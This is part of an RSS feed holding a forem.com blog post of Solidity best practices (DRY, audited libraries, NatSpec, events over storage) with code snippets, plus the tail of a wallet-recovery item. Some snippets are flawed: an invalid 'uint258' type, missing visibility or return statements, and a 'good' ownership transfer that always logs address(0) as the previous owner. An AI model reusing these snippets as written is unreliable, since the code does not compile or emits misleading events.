&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--MOLT17QU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ew9p4tqp6xhlvj80q07l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--MOLT17QU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ew9p4tqp6xhlvj80q07l.png" alt="diagram" width="800" height="959"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Orange represents smart contracts, yellow represents web2 infrastructure.&lt;br&gt;
When the time comes, the Owner is notified via SMS/Email. The execution service executes an on-chain transaction that initiates ownership transfer, and after a 30-day time lock finalizes it and notifies the recovery recipient via SMS/Email. &lt;/p&gt;

</description>
      <category>safe</category>
      <category>blockchain</category>
      <category>solidity</category>
      <category>ethereum</category>
    </item>
    <item>
      <title>Best Solidity Practices (with examples)</title>
      <dc:creator>Benjamin</dc:creator>
      <pubDate>Sun, 11 Dec 2022 09:23:53 +0000</pubDate>
      <link>https://forem.com/bxmmm1/best-solidity-practices-with-examples-1m5m</link>
      <guid>https://forem.com/bxmmm1/best-solidity-practices-with-examples-1m5m</guid>
      <description>&lt;p&gt;Here is a short list of best Solidity practices (not in any particular order). I hope this helps you!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--nzPGiQzr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ip3f46rg1p5exrfmy6fw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--nzPGiQzr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ip3f46rg1p5exrfmy6fw.png" alt="hackerman looking at the code" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. "Don't repeat yourself" (DRY)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You probably read this a million times during your previous web2 career, but somehow you still don't apply it.&lt;br&gt;
You probably read this a milliom times during your previous web2 career, but somehow you still don't apply it.&lt;/p&gt;

&lt;p&gt;Did you notice the typo in million when looking at the text?&lt;br&gt;
Your brain is a slacker unless you are committed to reading every word letter by letter, it is easy unintentionally make mistakes. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Don't reinvent the wheel&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Relax, and spend some time researching. Read other people's code. Bookmark/star good repositories that you can reference and that can help you with your solutions. &lt;/p&gt;

&lt;p&gt;Use battle-tested and audited code. &lt;a href="https://docs.openzeppelin.com/contracts/4.x/"&gt;OpenZeppelin&lt;/a&gt;, &lt;a href="https://github.com/transmissions11/solmate"&gt;Solmate&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Use language features&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Read the &lt;a href="https://docs.soliditylang.org/en/v0.8.17/units-and-global-variables.html"&gt;Solidity docs&lt;/a&gt;, the language has a lot of cool features.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// bad
&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;432000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// semi-bad (comment is helping)
&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;432000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 5 days
// good
&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="kc"&gt;days&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// bad
&lt;/span&gt;&lt;span class="kt"&gt;uint8&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;constant&lt;/span&gt; &lt;span class="n"&gt;MAX_LIMIT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// good
&lt;/span&gt;&lt;span class="kt"&gt;uint8&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;constant&lt;/span&gt; &lt;span class="n"&gt;MAX_LIMIT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4. Don't put unnecessary stuff in your smart contracts&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do you need to have it stored on the chain? If it is not necessary for your smart contract, use the event, or even better, remove it completely&lt;/p&gt;

&lt;p&gt;Let's say that your front end wants to have a fancy title where it says "&lt;code&gt;DoSomething&lt;/code&gt; was called {X} times."&lt;/p&gt;

&lt;p&gt;You could add a counter to your smart contract, and have your front end do an RPC call and read it directly from the chain.&lt;br&gt;
Soon enough your dapp will have a lot of RPC calls, and it will become slow + your transactions will cost more gas because you are storing and updating additional data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Bad
&lt;/span&gt;&lt;span class="kt"&gt;uint258&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;somethingCounter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;doSomething&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;somethingCounter&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// logic
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Good
&lt;/span&gt;&lt;span class="k"&gt;event&lt;/span&gt; &lt;span class="n"&gt;DidSomething&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;doSomething&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// logic
&lt;/span&gt;  &lt;span class="k"&gt;emit&lt;/span&gt; &lt;span class="n"&gt;DidSomething&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// You don't need to have a counter and 
// store that information on the chain. 
// Use The graph protocol to index events 
// and have that information there.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;5. Use &lt;a href="https://docs.soliditylang.org/en/v0.8.17/natspec-format.html"&gt;NatSpec&lt;/a&gt; and write comments on your code. &lt;a href="https://github.com/Vectorized/solady/blob/main/src/auth/OwnableRoles.sol"&gt;Good example of how it should be done (bonus points for assembly)&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The code should be self-documenting. But sometimes it can be really useful to add a comment that explains your taught process. Think of it as 'helping your future self'.&lt;/p&gt;

&lt;p&gt;Bonus tip: Don't trust other people's comments. Verify yourself. Better safe than sorry, especially when you are doing some integration with another protocol.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Use private/internal visibility for state variables&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This way you have more control. It is also a good practice to name private/internal variables with the underscore &lt;code&gt;_variableName&lt;/code&gt;. This also helps with naming in other parts of the smart contract. (demonstrated in the example)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Use inheritance to your advantage&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Instead of mixing logic for different things, split the logic into a different smart contract. A lot of projects have &lt;code&gt;Pausable&lt;/code&gt; functionality that only the owner can trigger. Instead of writing that logic in your &lt;code&gt;Core&lt;/code&gt; smart contract, it is better to write it in a separate one. Because of that, you won't see the &lt;code&gt;OwnablePausable&lt;/code&gt; smart contract from OpenZeppelin. Instead, the logic for that concerns the owner is in &lt;code&gt;Ownable&lt;/code&gt;, and the logic for pausing is in &lt;code&gt;Pausable&lt;/code&gt;. Keep that in mind when designing smart contracts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. Security &amp;amp; readability &amp;gt; gas optimisations&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Readability means more security, as there is a better chance that somebody will see the bug before it reaches production. &lt;/p&gt;

&lt;h2&gt;
  
  
  Example
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// No Natspec
&lt;/span&gt;&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Something&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;multiplier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;event&lt;/span&gt; &lt;span class="n"&gt;OwnershipTransferred&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;indexed&lt;/span&gt; &lt;span class="n"&gt;previousOwner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;indexed&lt;/span&gt; &lt;span class="n"&gt;newOwner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Repetitive code, it is easy to forget to emit an event
&lt;/span&gt;        &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;emit&lt;/span&gt; &lt;span class="n"&gt;OwnershipTransferred&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="c1"&gt;// ...
&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;modifier&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Unauthorized"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Because our owner state variable is `public owner`
&lt;/span&gt;    &lt;span class="c1"&gt;// We often see these ugly parameter names "_owner" or "owner_"
&lt;/span&gt;    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;transferOwnership&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Repetitive code
&lt;/span&gt;        &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;emit&lt;/span&gt; &lt;span class="n"&gt;OwnershipTransferred&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;doSomething&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;_multiplier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;multiplier&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       &lt;span class="c1"&gt;// ...
&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// ... other code
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this simple example, you can see that the &lt;code&gt;transferOwnership&lt;/code&gt; and &lt;code&gt;constructor&lt;/code&gt; look almost identical. &lt;/p&gt;

&lt;p&gt;Instead of repeating yourself, you can use an internal function that will clean up this code and make things more readable for you, your team, and your auditors. &lt;/p&gt;

&lt;p&gt;Good code example&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="cm"&gt;/**
 * @title  Something
 * @author Author name / Organization name
 * @notice Implementation of something...
 * @custom Security-contact email@email.com
 */&lt;/span&gt;
&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Something&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="n"&gt;_multiplier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Events and custom errors can be moved to the interface
&lt;/span&gt;    &lt;span class="c1"&gt;// ISomething.sol 
&lt;/span&gt;    &lt;span class="k"&gt;event&lt;/span&gt; &lt;span class="n"&gt;OwnershipTransferred&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;indexed&lt;/span&gt; &lt;span class="n"&gt;previousOwner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;indexed&lt;/span&gt; &lt;span class="n"&gt;newOwner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_transferOwnership&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="c1"&gt;// ...
&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/**
     * @dev Throws if called by any account other than the owner.
     */&lt;/span&gt;
    &lt;span class="k"&gt;modifier&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Unauthorized"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/**
     * @dev Does something.
     */&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;doSomething&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;multiplier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_multiplier&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

       &lt;span class="c1"&gt;// use multiplier from memory to save some gas 
&lt;/span&gt;       &lt;span class="c1"&gt;// (MLOAD is cheaper than SLOAD)
&lt;/span&gt;       &lt;span class="c1"&gt;// No need to use multiplierMemory, 
&lt;/span&gt;       &lt;span class="c1"&gt;// _multiplier, multiplier_, 
&lt;/span&gt;       &lt;span class="c1"&gt;// cachedMultiplier or whatever weird variable name
&lt;/span&gt;       &lt;span class="c1"&gt;// you can come up to
&lt;/span&gt;       &lt;span class="c1"&gt;// ..  
&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/**
     * @param owner - Address of a new owner
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;transferOwnership&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_transferOwnership&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/**
     * @param owner - Address of a new owner
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;_transferOwnership&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;internal&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;emit&lt;/span&gt; &lt;span class="n"&gt;OwnershipTransferred&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// Because the logic for transferring ownership is contained 
// in its internal function,
// you just need to review it once and make sure
// that it doesn't contain any bugs, 
// and use it whenever you need to transfer ownership. 
&lt;/span&gt;    &lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Please reach out if you have any questions/suggestions.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>ethereum</category>
      <category>web3</category>
      <category>blockchain</category>
    </item>
  </channel>
</rss>
